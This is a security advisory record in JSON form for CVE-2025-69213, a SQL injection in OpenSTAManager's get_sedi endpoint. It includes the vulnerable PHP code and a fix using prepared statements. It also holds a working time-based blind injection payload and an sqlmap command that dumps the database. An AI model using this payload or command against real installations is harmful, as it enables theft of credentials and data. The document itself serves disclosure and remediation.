CVE-2025-69213: Devcode it/openstamanager SQL Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w995-ff8h-rppg",
  "modified" : "2026-02-18T23:41:04Z",
  "published" : "2026-02-03T18:44:17Z",
  "aliases" : [ "CVE-2025-69213" ],
  "summary" : "OpenSTAManager has a SQL Injection in ajax_complete.php (get_sedi endpoint)",
  "details" : "## Summary\nA SQL Injection vulnerability exists in the `ajax_complete.php` endpoint when handling the `get_sedi` operation. An authenticated attacker can inject malicious SQL code through the `idanagrafica` parameter, leading to unauthorized database access.\n\n\n## Proof of Concept\n\n### Vulnerable Code\n**File:** `modules/anagrafiche/ajax/complete.php:28`\n\n```php\ncase 'get_sedi':\n    $idanagrafica = get('idanagrafica');\n    $q = \"SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione \n          FROM an_sedi \n          WHERE idanagrafica='\".$idanagrafica.\"' ...\";\n    $rs = $dbo->fetchArray($q);\n```\n\n### Data Flow\n1. **Source:** `$_GET['idanagrafica']` → `get('idanagrafica')`\n2. **Vulnerable:** User input concatenated directly into SQL query with single quotes\n3. **Sink:** `$dbo->fetchArray($q)` executes the malicious query\n\n### Exploit\n\n**Manual PoC (Time-based Blind SQLi):**\n```http\nGET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1\nHost: localhost:8081\nCookie: PHPSESSID=<valid-session>\n```\n<img width=\"1304\" height=\"580\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ffcdacf-d56c-4a44-ad95-d6cecd0f05c8\" />\n\n**SQLMap Exploitation:**\n```bash\nsqlmap -u \"http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*\" \\\n  --cookie=\"PHPSESSID=<session>\" \\\n  --dbms=MySQL \\\n  --technique=T \\\n  --level=3 \\\n  --dump\n```\n\n**SQLMap Output:**\n```\n[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable\nParameter: #1* (URI)\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF\nback-end DBMS: MySQL >= 5.0.12\n```\n\n<img width=\"1284\" height=\"745\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5c640132-4f52-46bd-96fa-14d9987d4759\" />\n\n\n## Impact\n- **Data Exfiltration:** Complete database extraction including user credentials, customer data, financial records\n- **Privilege Escalation:** Modification of `zz_users` table to gain admin access\n- **Data Integrity:** Unauthorized modification or deletion of records\n- **Potential RCE:** Via `SELECT ... INTO OUTFILE` if file permissions allow\n\n## Affected Versions\n- OpenSTAManager: Verified in latest version (as of December 2025)\n- All versions using this endpoint are likely affected\n\n## Remediation\n\nReplace direct concatenation with prepared statements:\n\n**Before:**\n```php\n$idanagrafica = get('idanagrafica');\n$q = \"SELECT ... WHERE idanagrafica='\".$idanagrafica.\"' ...\";\n```\n\n**After:**\n```php\n$idanagrafica = get('idanagrafica');\n$q = \"SELECT ... WHERE idanagrafica=\".prepare($idanagrafica).\" ...\";\n```\n\n## Credit\nDiscovered by: Łukasz Rybak",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "devcode-it/openstamanager"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.9.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-69213"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/devcode-it/openstamanager"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-03T18:44:17Z",
    "nvd_published_at" : "2026-02-04T18:16:07Z"
  }
}